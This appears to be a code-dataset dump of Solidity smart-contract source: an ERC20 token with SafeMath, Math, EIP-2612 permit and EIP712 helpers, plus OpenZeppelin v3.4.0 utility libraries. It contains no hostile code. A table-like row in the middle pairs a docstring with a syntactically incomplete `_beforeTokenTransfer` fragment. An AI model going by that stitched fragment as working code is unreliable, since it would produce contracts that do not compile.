function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS);
_require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
| Returns the addition of two unsigned integers, reverting on overflow. Counterpart to Solidity's `+` operator. Requirements: - Addition cannot overflow./ | function _beforeTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
| 536,793 |
/*
SPDX-License-Identifier: GPL-3.0
@@@@@@@@@@@@@@@@@@@@@@
@@@@ @@@@@@@@@@@@@@@@@@@@
@@@@ @@@@ *** @@@@
/@@@@ @@@@ *** @@
/@@ @@@@@ *** @@
@@@@@@@@@@@@@@@@@@ *** @@
@@@@@@ @@@@@@**. ** @@
@@ @@@@#****** @@@@
@@@@@ @@@@@@@@@@@@@@
@@ @@ @@ @@@@/ @@@@@
@@ @@@@@@ @@@@@
@@@@@ @@@@@@@@@@@ @@@@@
@@@@@ @@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@ /@@@@@@@@
@@@@@@@ @@@@@@@@@ @@@@@@@@@ @@
@@@@@@@@@ @@@@@@@@@ @@ @@
@@@@@ @@@@ @@@@@@@ @@@@@@@ */
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
